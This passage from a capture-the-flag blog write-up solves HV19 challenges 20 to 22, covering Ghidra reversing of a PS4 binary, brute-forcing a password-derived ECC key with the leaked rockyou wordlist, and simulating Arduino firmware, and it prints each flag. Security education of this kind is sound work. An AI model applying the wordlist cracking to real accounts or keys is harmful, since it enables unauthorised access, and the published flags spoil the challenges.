**)refptr.strcmp)(0x22fe,lVar8);\n  if (iVar5 == 0) {\n    lVar8 = 0;\n    do {\n      local_4e0[lVar8] = *(byte *)(lVar8 + 0x229b);\n      lVar8 = lVar8 + 1;\n    } while (lVar8 != 0x1a);\n    lVar8 = 0x1337;\n    uVar6 = (**(code **)refptr.fopen)(0x2322,0x2318);\n    do {\n      (**(code **)refptr.fseek)(uVar6,lVar8,0);\n      (**(code **)puVar3)(local_4c0,0x1a,1,uVar6);\n      lVar9 = 0;\n      do {\n        local_4e0[lVar9] = local_4e0[lVar9] ^ local_4c0[lVar9];\n        lVar9 = lVar9 + 1;\n      } while (lVar9 != 0x1a);\n      lVar8 = lVar8 + 0x1337;\n    } while (lVar8 != 0x1714908);\n    (**(code **)refptr.fclose)(uVar6);\n    local_501 = 0;\n    local_509 = 0x67616c66646e6573;\n    local_4f0 = 0x210;\n    local_4ec = 0x100007f;\n    local_4ee = (**(code **)refptr.sceNetHtons)(0x539);\n    (**(code **)refptr.memset)(local_4e6,0,6);\n    uVar4 = (**(code **)refptr.sceNetSocket)(&amp;local_509,2,1,0);\n    (**(code **)refptr.sceNetConnect)((ulong)uVar4,&amp;local_4f0,0x10);\n    (**(code **)refptr.sceNetSend)((ulong)uVar4,local_4e0,0x1a,0);\n    (**(code **)refptr.sceNetSocketClose)((ulong)uVar4);\n  }\n  return 0;\n}<\/pre>\n\n\n<p>The memory addresses seem to be off. If we follow the data references we land in the code part of the program. Not sure if this was intended to make it harder or just a problem in Ghidra&#8230; <\/p>\n\n\n<p>After some initializations a file is opened and the md5sum of it is being calculated:<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">  uVar6 = (**(code **)refptr.malloc)(0x40);\n  uVar7 = (**(code **)puVar3)(0x10);\n  (*local_520)(uVar6);\n  (*local_518)(uVar7);\n  uVar6 = (**(code **)refptr.fopen)(0x2234,0x222a);\n  lVar8 = (**(code **)puVar3)(0x21);\n  (*(code *)refptr.MD5Init)(local_4a0);\n  puVar2 = refptr.MD5Update;\n  puVar3 = refptr.fread;\n  while( true ) {\n    uVar4 = (**(code **)puVar3)(local_430,1,0x400,uVar6);\n    if (uVar4 == 0) break;\n    (*(code *)puVar2)(local_4a0,local_430,(ulong)uVar4);\n  }\n  puVar10 = local_500;\n  (*(code *)refptr.MD5Final)(puVar10,local_4a0);\n  (**(code **)refptr.fclose)(uVar6);<\/pre>\n\n\n<p>The calculated MD5 hash is compared with a string in memory:<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">  lVar9 = lVar8;\n  do {\n    bVar1 = *(byte *)puVar10;\n    puVar10 = (undefined2 *)((long)puVar10 + 1);\n    (**(code **)puVar2)(lVar9,0x22d7,(ulong)bVar1);\n    lVar9 = lVar9 + 2;\n  } while (&amp;local_4f0 != puVar10);\n  iVar5 = (**(code **)refptr.strcmp)(0x22fe,lVar8);\n  if (iVar5 == 0) {<\/pre>\n\n\n<p>Based on the information we got from &#8220;strings&#8221; at the beginning I took the assumption that the file &#8220;\/mnt\/usb0\/PS4UPDATE.PUP&#8221; is opened, the MD5 hash of it is being calculated and compared against the hash &#8220;f86d4f9d2c049547bd61f942151ffb55&#8221; which is at the memory address 0x2080:<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">        00002080 66              ??         66h    f\n        00002081 38              ??         38h    8\n        00002082 36              ??         36h    6\n        00002083 64              ??         64h    d\n        00002084 34              ??         34h    4\n        00002085 66              ??         66h    f\n        00002086 39              ??         39h    9\n        00002087 64              ??         64h    d\n        00002088 32              ??         32h    2\n        00002089 63              ??         63h    c\n        0000208a 30              ??         30h    0\n        0000208b 34              ??         34h    4\n        0000208c 39              ??         39h    9\n        0000208d 35              ??         35h    5\n        0000208e 34              ??         34h    4\n        0000208f 37              ??         37h    7\n        00002090 62              ??         62h    b\n        00002091 64              ??         64h    d\n        00002092 36              ??         36h    6\n        00002093 31              ??         31h    1\n        00002094 66              ??         66h    f\n        00002095 39              ??         39h    9\n        00002096 34              ??         34h    4\n        00002097 32              ??         32h    2\n        00002098 31              ??         31h    1\n        00002099 35              ??         35h    5\n        0000209a 31              ??         31h    1\n        0000209b 66              ??         66h    f\n        0000209c 66              ??         66h    f\n        0000209d 62              ??         62h    b\n        0000209e 35              ??         35h    5\n        0000209f 35              ??         35h    5\n<\/pre>\n\n\n<p>I googled the MD5 hash and found an <a href=\"https:\/\/lania.co\/ps4_505.html\">exploit guide for PS4<\/a>. There it is also possible to download said firmware. The next part in the code looks like this:<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">    lVar8 = 0;\n    do {\n      local_4e0[lVar8] = *(byte *)(lVar8 + 0x229b);\n      lVar8 = lVar8 + 1;\n    } while (lVar8 != 0x1a);<\/pre>\n\n\n<p>The first loop loads 26 bytes (0x1a) into the variable local_4e0. Because the memory addresses are wrong in Ghidra I manually checked the DATA part of the executable and found only one not used and matching memory part: <\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">        00002000 ce              undefined1 CEh\n        00002001 55              ??         55h    U\n        00002002 95              ??         95h\n        00002003 4e              ??         4Eh    N\n        00002004 38              ??         38h    8\n        00002005 c5              ??         C5h\n        00002006 89              ??         89h\n        00002007 a5              ??         A5h\n        00002008 1b              ??         1Bh\n        00002009 6f              ??         6Fh    o\n        0000200a 5e              ??         5Eh    ^\n        0000200b 25              ??         25h    %\n        0000200c d2              ??         D2h\n        0000200d 1d              ??         1Dh\n        0000200e 2a              ??         2Ah    *\n        0000200f 2b              ??         2Bh    +\n        00002010 5e              ??         5Eh    ^\n        00002011 7b              ??         7Bh    {\n        00002012 39              ??         39h    9\n        00002013 14              ??         14h\n        00002014 8e              ??         8Eh\n        00002015 d0              ??         D0h\n        00002016 f0              ??         F0h\n        00002017 f8              ??         F8h\n        00002018 f8              ??         F8h\n        00002019 a5              ??         A5h\n        0000201a 00              ??         00h\n<\/pre>\n\n\n<p>In the next section of the source code the the PS4 firmware file is read. Afterwards we have two nested loops. The inner XORs the 26 bytes stored in local_4e0 against local_4c0, which is memory of the opened file. <br \/>The outer loop starts reading the file at the position 0x1337 and then XORs 26 bytes in the inner loop against the key which we found before (local_4e0). This is done 0x1337 times (0x1714908 \/ 0x1337 = 0x1338; we started at 0x1337):<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">lVar8 = 0x1337;\n    uVar6 = (**(code **)refptr.fopen)(0x2322,0x2318);\n    do {\n      (**(code **)refptr.fseek)(uVar6,lVar8,0);\n      (**(code **)puVar3)(local_4c0,0x1a,1,uVar6);\n      lVar9 = 0;\n      do {\n        local_4e0[lVar9] = local_4e0[lVar9] ^ local_4c0[lVar9];\n        lVar9 = lVar9 + 1;\n      } while (lVar9 != 0x1a);\n      lVar8 = lVar8 + 0x1337;\n    } while (lVar8 != 0x1714908);<\/pre>\n\n\n<p>Now we know everything we need to know.<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">#!\/usr\/bin\/python\nf = \"\/mnt\/shared\/PS4UPDATE.PUP\"\nkey = list(\"\\xce\\x55\\x95\\x4e\\x38\\xc5\\x89\\xa5\\x1b\\x6f\\x5e\\x25\\xd2\\x1d\\x2a\\x2b\\x5e\\x7b\\x39\\x14\\x8e\\xd0\\xf0\\xf8\\xf8\\xa5\\x00\")\ndef strxor(x, y):\n    return ''.join([chr(ord(a) ^ ord(b)) for a, b in zip(x,y)])\ndef get_bytes_from_file(filename):\n    return open(filename, \"rb\").read()\nfi = get_bytes_from_file(f)\ncounter = 1\nwhile counter &lt;= 0x1337:\n    c = 0\n    while c &lt; 26:\n        key[c] = strxor(key[c], fi[(0x1337*counter)+c])\n        c += 1\n    counter += 1\nprint(\"done\")\nres = \"\"\nfor x in key:\n    res += x\nprint(res)<\/pre>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ python sol_20.py\ndone\nHV19{C0nsole_H0mebr3w_FTW}<\/pre>\n\n\n<p><strong>Flag: HV19{C0nsole_H0mebr3w_FTW}<\/strong><\/p>\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n<h1 class=\"wp-block-heading\">HV19.21 Happy Christmas 256 (Author: hardlock &#8212; Level: hard)<\/h1>\n\n\n<p><strong>Description:<br \/><\/strong>Santa has improved since the last Cryptmas and now he uses harder algorithms to secure the flag.<br \/>This is his public key:<\/p>\n\n\n<pre class=\"wp-block-preformatted\">X: 0xc58966d17da18c7f019c881e187c608fcb5010ef36fba4a199e7b382a088072f\nY: 0xd91b949eaf992c464d3e0d09c45b173b121d53097a9d47c25220c0b4beb943c<\/pre>\n\n\n<p>To make sure this is safe, he used the NIST P-256 standard.<br \/>But we are lucky and an Elve is our friend. We were able to gather some details from our whistleblower:<\/p>\n\n\n<ul class=\"wp-block-list\"><li>Santa used a password and SHA256 for the private key (d)<\/li><li>His password was leaked 10 years ago<\/li><li>The password is length is the square root of 256<\/li><li>The flag is encrypted with AES256<\/li><li>The key for AES is derived with&nbsp;<code>pbkdf2_hmac<\/code>, salt: &#8220;TwoHundredFiftySix&#8221;, iterations:&nbsp;<code>256 * 256 * 256<\/code><\/li><\/ul>\n\n\n<p>Phew &#8211; Santa seems to know his business &#8211; or can you still recover this flag?<\/p>\n\n\n<pre class=\"wp-block-preformatted\">Hy97Xwv97vpwGn21finVvZj5pK\/BvBjscf6vffm1po0=<\/pre>\n\n\n<p><strong>Solution:<br \/><\/strong>The first real math challenge this year.<br \/>NIST-P is used in <a href=\"https:\/\/en.wikipedia.org\/wiki\/Elliptic-curve_cryptography\">Elliptic Curve Cryptography (ECC)<\/a>. In December 2009, 10 years ago, the <a href=\"https:\/\/techcrunch.com\/2009\/12\/14\/rockyou-hack-security-myspace-facebook-passwords\/\">Rockyou data breach<\/a> happened &#8211; a <a href=\"https:\/\/github.com\/praetorian-code\/Hob0Rules\/blob\/master\/wordlists\/rockyou.txt.gz\">password wordlist<\/a> of this breach exists.<br \/><br \/>The description of the challenge is hard to interpret correctly. This probably was done on purpose. To simplify it a bit: <\/p>\n\n\n<ul class=\"wp-block-list\"><li>Santa has used a password to protect his private key which is used in ECC<\/li><li>This password is 16 (square root 256) characters long and was leaked in the Rockyou breach.<\/li><li>The flag itself is encrypted with AES 256. I took the assumption the same password was used to encrypt it.<\/li><\/ul>\n\n\n<p>According to the <a href=\"https:\/\/pycryptodome.readthedocs.io\/en\/latest\/src\/public_key\/ecc.html\">documentation of PyCryptoDome&#8217;s ECC package<\/a> we can use ECC.construct() to create a key with all the information we have. If the inputs are wrong, then an exception is thrown.<\/p>\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"720\" height=\"349\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-31.png\" alt=\"\" class=\"wp-image-1337\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-31.png 720w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-31-300x145.png 300w\" sizes=\"auto, (max-width: 720px) 100vw, 720px\" \/><\/figure><\/div>\n\n\n<p>With this information and the rockyou password list we can brute force the password. We try all passwords of the list until the function doesn&#8217;t throw an exception.<\/p>\n\n\n<p>The next step is to decrypt &#8220;Hy97Xwv97vpwGn21finVvZj5pK\/BvBjscf6vffm1po0=&#8221; with AES 256, the salt and the information we got out of the challenge description. As said before we use the found password as encryption key. <\/p>\n\n\n<p>I implemented both steps in a Python script:<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">from Crypto.PublicKey import ECC\nfrom Crypto.Cipher import AES\nimport hashlib\nimport base64\nfrom Crypto import Random\nfrom Crypto.Util.Padding import pad, unpad\nrockyou = \"\/mnt\/shared\/rockyou.txt\"\nx = 0xc58966d17da18c7f019c881e187c608fcb5010ef36fba4a199e7b382a088072f\ny = 0xd91b949eaf992c464d3e0d09c45b173b121d53097a9d47c25220c0b4beb943c\nkey = None\npassword = \"\"\nwith open(rockyou) as f:\n    for line in f:\n        p = line.strip()\n        if len(p) == 16:\n            sha256d = hashlib.sha256(p).hexdigest()\n            #print(\"Try password: \" + p + \" || sha256: \" + sha256d)\n            try:\n                key = ECC.construct(curve='p256', point_x=x, point_y=y, d=int(sha256d,16))\n                print(\"[+] Matching password found: '\" + p + \"' !\")\n                password = p\n                break\n            except:\n                #print(\"nope\")\n                continue\nenc_flag = \"Hy97Xwv97vpwGn21finVvZj5pK\/BvBjscf6vffm1po0=\"\nsalt =\"TwoHundredFiftySix\"\niterations = 256 * 256 * 256\nkey = hashlib.pbkdf2_hmac(\"sha256\", password, salt, iterations)\nprint(\"Key is: \" + base64.b64encode(key))\ncipher = AES.new(key, AES.MODE_ECB)\nplaintext = cipher.decrypt(base64.b64decode(enc_flag))\nprint(plaintext)<\/pre>\n\n\n<p>Running the script reveals the password and the flag:<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">python sol_21.py\n[+] Matching password found: 'santacomesatxmas' !\nKey is: 6x4EQsplZuXWh3QNJGyupts7KFH3dBQNFTyEjVlRVwU=\nHV19{sry_n0_crypt0mat_th1s_year}<\/pre>\n\n\n<p><strong>Flag: HV19{sry_n0_crypt0mat_th1s_year}<\/strong><\/p>\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n<h1 class=\"wp-block-heading\">HV19.22 The command &#8230; is lost (Author: inik &#8212; Level: leet)<\/h1>\n\n\n<p><strong>Description:<br \/><\/strong>Santa bought this gadget when it was released in 2010. He did his own DYI project to control his sledge by serial communication over IR. Unfortunately Santa lost the source code for it and doesn&#8217;t remember the command needed to send to the sledge. The only thing left is this file:&nbsp;<a href=\"https:\/\/sigterm.ch\/stuff\/hv19\/thecommand7.data\" target=\"_blank\" rel=\"noreferrer noopener\" aria-label=\" (opens in a new tab)\">thecommand7.data<\/a><\/p>\n\n\n<p>Santa likes to start a new DYI project with more commands in January, but first he needs to know the old command. So, now it&#8217;s on you to help out Santa.<\/p>\n\n\n<p><strong>Solution:<br \/><\/strong>First find out more about the .data file we got:<\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">cat \/mnt\/shared\/thecommand7.data\n:100000000C9435000C945D000C945D000C945D0024\n:100010000C945D000C945D000C945D000C945D00EC\n:100020000C945D000C945D000C945D000C945D00DC\n:100030000C945D000C945D000C945D000C945D00CC\n:100040000C94EA010C945D000C945A020C94340256\n:100050000C945D000C945D000C945D000C945D00AC\n:100060000C945D000C945D00A60311241FBECFEF1D\n:10007000D8E0DEBFCDBF11E0A0E0B1E0EEE9F8E0EE\n:1000800002C005900D92A835B107D9F721E0A8E587\n:10009000B1E001C01D92AE3FB207E1F710E0C5E349\n:1000A000D0E004C02197FE010E944704C433D10769\n:1000B000C9F70E94D3030C944D040C9400000F93D5\n:1000C0001F93CF93DF93EC01E881F9810190F081D8\n:1000D000E02D09958C01E881F9810280F381E02D02\n:1000E00042E050E065E571E0CE010995800F911F77\n:1000F000DF91CF911F910F910895AF92BF92CF9250\n:10010000DF92EF92FF920F931F93CF93DF936C01D7\n:100110007B018B01040F151FEB015E01AE18BF08B8\n:10012000C017D10759F06991D601ED91FC9101906A\n:10013000F081E02DC6010995892B79F7C501DF9182\n:10014000CF911F910F91FF90EF90DF90CF90BF90D4\n:10015000AF900895FC01538D448D252F30E0842FFE\n:1001600090E0821B930B541710F0CF9608950197DF\n:100170000895FC01918D828D981761F0A28DAE0FCC\n:10018000BF2FB11D5D968C91928D9F5F9F73928F53\n:1001900090E008958FEF9FEF0895FC01918D828D7F\n:1001A000981731F0828DE80FF11D858D90E008954C\n:1001B0008FEF9FEF0895FC01918D228D892F90E0A4\n:1001C000805C9F4F821B91098F739927089588E562\n:1001D00091E00E94DB0021E0892B09F420E0822FCE\n:1001E000089580E090E0892B29F00E94E7008111BA\n:1001F0000C9400000895FC01A48DA80FB92FB11D27\n:10020000A35ABF4F2C91848D90E001968F7399274C\n:10021000848FA689B7892C93A089B1898C9183702A\n:1002200080648C93938D848D981306C00288F38923\n:10023000E02D80818F7D80830895EF92FF920F9350\n:100240001F93CF93DF93EC0181E0888F9B8D8C8D82\n:1002500098131AC0E889F989808185FF15C09FB776\n:10026000F894EE89FF896083E889F9898081837039\n:10027000806480839FBF81E090E0DF91CF911F91E8\n:100280000F91FF90EF900895F62E0B8D10E00F5F09\n:100290001F4F0F731127E02E8C8D8E110CC00FB6DF\n:1002A00007FCFACFE889F989808185FFF5CFCE0177\n:1002B0000E94FB00F1CFEB8DEC0FFD2FF11DE35AF7\n:1002C000FF4FF0829FB7F8940B8FEA89FB898081FA\n:1002D0008062CFCFCF93DF93EC01888D8823B9F074\n:1002E000AA89BB89E889F9898C9185FD03C0808141\n:1002F00086FD0DC00FB607FCF7CF8C9185FFF2CFBE\n:10030000808185FFEDCFCE010E94FB00E9CFDF9118\n:10031000CF910895CF92DF92EF92FF92CF93DF9328\n:10032000EC016A017B01E889F98982E08083C114CC\n:1003300081EED806E104F104A1F060E079E08DE3FC\n:1003400090E0A70196010E9425042150310941093E\n:1003500051095695479537952795211580E138071E\n:1003600098F0E889F989108260E874E88EE190E0FD\n:10037000A70196010E942504215031094109510924\n:100380005695479537952795EC85FD853083EE8505\n:10039000FF852083188EEC89FD8986E08083EA89B9\n:1003A000FB89808180618083EA89FB898081886004\n:1003B0008083EA89FB89808180688083EA89FB8960\n:1003C00080818F7D8083DF91CF91FF90EF90DF90D0\n:1003D000CF9008951F920F920FB60F9211242F9372\n:1003E0003F938F939F93AF93BF938091FA01909126\n:1003F000FB01A091FC01B091FD013091F90123E0D6\n:10040000230F2D3758F50196A11DB11D2093F90139\n:100410008093FA019093FB01A093FC01B093FD013E\n:100420008091F5019091F601A091F701B091F8014A\n:100430000196A11DB11D8093F5019093F601A09343\n:10044000F701B093F801BF91AF919F918F913F91C8\n:100450002F910F900FBE0F901F90189526E8230F35\n:100460000296A11DB11DD2CF1F920F920FB60F920F\n:1004700011242F933F934F935F936F937F938F93A9\n:100480009F93AF93BF93EF93FF9388E591E00E9412\n:10049000FB00FF91EF91BF91AF919F918F917F9161\n:1004A0006F915F914F913F912F910F900FBE0F90E1\n:1004B0001F9018951F920F920FB60F9211242F9331\n:1004C0008F939F93EF93FF93E0916801F0916901FF\n:1004D0008081E0916E01F0916F0182FD1BC09081DF\n:1004E000809171018F5F8F7320917201821741F0AB\n:1004F000E0917101F0E0E85AFE4F958F8093710111\n:10050000FF91EF919F918F912F910F900FBE0F90C0\n:100510001F9018958081F4CFCF93DF9300D000D047\n:10052000CDB7DEB789E290E0FC018081882F90E0B2\n:10053000807899279C838B838B819C81892BB9F44C\n:100540001A82198289819A818C9788F489819A818B\n:10055000895E9E4FFC018081682F88E591E00E94B2\n:100560005F0089819A8101969A838983EBCF0F90EE\n:100570000F900F900F90DF91CF910895CF93DF935D\n:10058000CDB7DEB7809102018093340180911401D0\n:1005900080931B018091110180932A0180910201B7\n:1005A000809325018091000180933C01809102019C\n:1005B000809322018091130180931E01809112018A\n:1005C000809338018091100180933D01DF91CF919C\n:1005D0000895CF93DF93CDB7DEB78091020180936A\n:1005E0002D01809102018093280180911101809357\n:1005F000390180910F0180933E0180910901809320\n:100600003B018091070180933A0180910D01809315\n:10061000210180910701809331018091070180932E\n:100620002E0180910A018093230180910301809320\n:100630001A01DF91CF910895CF93DF93CDB7DEB745\n:100640008091020180933F018091060180931801FF\n:10065000809110018093400180910B0180932401CF\n:1006600080910E01809327018091080180932F01D2\n:100670008091150180934101809111018093300197\n:100680008091070180931F018091020180933701BF\n:1006900080910F018093360180910201809329019E\n:1006A000DF91CF910895CF93DF93CDB7DEB78091DF\n:1006B0000E0180932C018091070180932601809187\n:1006C000040180931C0180910101809319018091A4\n:1006D0000701809335018091040180931701809177\n:1006E00005018093200180910C018093330180915A\n:1006F000070180932B018091020180931D0180915D\n:10070000110180933201DF91CF910895CF93DF9350\n:10071000CDB7DEB70E9453030E941C030E94E9027A\n:100720000E94BE02DF91CF910895CF93DF93CDB7A2\n:10073000DEB74CE251E060E070E088E591E00E94B5\n:100740008A010E948603DF91CF910895E8E5F1E0E8\n:100750001382128288EE93E0A0E0B0E08483958358\n:10076000A683B78387E491E09183808385EC90E052\n:100770009587848784EC90E09787868780EC90E06B\n:10078000918B808B81EC90E0938B828B82EC90E05C\n:10079000958B848B86EC90E0978B868B118E128ED6\n:1007A000138E148E0895789484B5826084BD84B5C8\n:1007B000816084BD85B5826085BD85B5816085BD5C\n:1007C00080916E00816080936E0010928100809114\n:1007D000810082608093810080918100816080939C\n:1007E0008100809180008160809380008091B100C1\n:1007F00084608093B1008091B00081608093B000EC\n:1008000080917A00846080937A0080917A0082607F\n:1008100080937A0080917A00816080937A00809141\n:100820007A00806880937A001092C1000E9495033C\n:10083000C0E0D0E00E948C022097E1F30E94E70024\n:100840008823C1F30E940000F5CFA1E21A2EAA1B53\n:10085000BB1BFD010DC0AA1FBB1FEE1FFF1FA21770\n:10086000B307E407F50720F0A21BB30BE40BF50B6D\n:10087000661F771F881F991F1A9469F760957095F6\n:10088000809590959B01AC01BD01CF010895EE0FBD\n:0E089000FF1F0590F491E02D0994F894FFCF1E\n:10089E00303133394853565F61636467686C6D6EEF\n:1008AE00727478797B7D002020202020202020204B\n:1008BE00202020202020202020202020202020202A\n:1008CE00202020202020202020202020202020201A\n:1008DE00202000000000001D017D00AA006A01DB3F\n:0808EE0000B900CD000D0A0065\n:00000001FF<\/pre>\n\n\n<p><strong>Intel HEX<\/strong>&nbsp;is a&nbsp;<a href=\"https:\/\/en.wikipedia.org\/wiki\/File_format\">file format<\/a>&nbsp;that conveys binary information in&nbsp;<a href=\"https:\/\/en.wikipedia.org\/wiki\/ASCII\">ASCII<\/a>&nbsp;text form. It is commonly used for programming&nbsp;<a href=\"https:\/\/en.wikipedia.org\/wiki\/Microcontroller\">microcontrollers<\/a>,&nbsp;<a href=\"https:\/\/en.wikipedia.org\/wiki\/EPROM\">EPROMs<\/a>, and other types of programmable logic devices.<\/p>\n\n\n<p>As the description of the challenge is talking about DIY I assumed this has to be Arduino. Before doing any static analysis on such a format I prefer to find a debugger to run and debug it. After searching the Internet I came across this <a href=\"https:\/\/www.oshonsoft.com\/avr.html\">simulator<\/a>. I used the evaluation copy. Fortunately it did run with wine.<br \/>The program breaks with an error after the simulator runs for a bit.<\/p>\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"662\" height=\"560\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-28.png\" alt=\"\" class=\"wp-image-1332\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-28.png 662w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-28-300x254.png 300w\" sizes=\"auto, (max-width: 662px) 100vw, 662px\" \/><\/figure><\/div>\n\n\n<p>The description tells us that the gadget is from 2010. <a href=\"https:\/\/en.wikipedia.org\/wiki\/List_of_Arduino_boards_and_compatible_systems\">The Arduino Uno is from 2010 and has the ATMega328P Prozessor<\/a>. Changing the microcontroller to ATMega328P in the AVR Simulator made the program work like a charm. <\/p>\n\n\n<p>After examining the memory addresses in the simulator I found the Flag stored in alphabetical order at the memory location $100 &#8211; $115.<\/p>\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"504\" height=\"544\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-29.png\" alt=\"\" class=\"wp-image-1333\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-29.png 504w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-29-278x300.png 278w\" sizes=\"auto, (max-width: 504px) 100vw, 504px\" \/><\/figure><\/div>\n\n\n<p>And if we run the program for some time the flag gets stored in the right order at the memory location $117-$141.<\/p>\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"498\" height=\"556\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-30.png\" alt=\"\" class=\"wp-image-1334\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-30.png 498w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-30-269x300.png 269w\" sizes=\"auto, (max-width: 498px) 100vw, 498px\" \/><\/figure><\/div>\n\n\n<p>The only thing left was to write down all HEX values and translate them into ASCII. <\/p>\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">48 56 31 39 7b 48 33 79 5f 53 6c 33 64 67 33 5f 6d 33 33 74 5f 6d 33 5f 61 74 5f 74 68 33 5f 6e 33 78 74 5f 63 30 72 6e 33 72 7d<\/pre>\n\n\n<p>This is done easiest with the <a href=\"https:\/\/gchq.github.io\/CyberChef\/#recipe=Magic(3,false,false,'')&amp;input=NDggNTYgMzEgMzkgN2IgNDggMzMgNzkgNWYgNTMgNmMgMzMgNjQgNjcgMzMgNWYgNmQgMzMgMzMgNzQgNWYgNmQgMzMgNWYgNjEgNzQgNWYgNzQgNjggMzMgNWYgNmUgMzMgNzggNzQgNWYgNjMgMzAgNzIgNmUgMzMgNzIgN2Q\">magic function of CyberChef<\/a>.<\/p>\n\n\n<p><strong>Flag:  HV19{H3y_Sl3dg3_m33t_m3_at_th3_n3xt_c0rn3r} <\/strong><\/p>\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n<h1 class=\"wp-block-heading\">HV19.23 Internet Data Archive (Author: M. &#8212; Level: leet)<\/h1>\n\n\n<p><strong>Description:<br \/><\/strong>Today&#8217;s flag is available in the Internet Data Archive (IDA).<\/p>\n\n\n<p><strong>Resources:<br \/><\/strong><a rel=\"noreferrer noopener\" href=\"http:\/\/whale.hacking-lab.com:23023\/\" target=\"_blank\">http:\/\/whale.hacking-lab.com:23023\/<\/a><\/p>\n\n\n<p><strong>Solution:<br \/><\/strong>The entry point of this challenge was the following website:<\/p>\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"633\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-25-1024x633.png\" alt=\"\" class=\"wp-image-1325\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-25-1024x633.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-25-300x185.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-25-768x474.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-25.png 1044w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure><\/div>\n\n\n<p>We can select different challenges from previous years, enter a username and then submit the request. First username I tried was &#8216;santa&#8217;. But with this username returned back &#8220;Illegal request&#8221;. Other usernames are working and we get a password together with a link to an encrypted ZIP file.<\/p>\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"365\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-26-1024x365.png\" alt=\"\" class=\"wp-image-1326\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2019\/12\/image-26-1024x365.png 1024w, 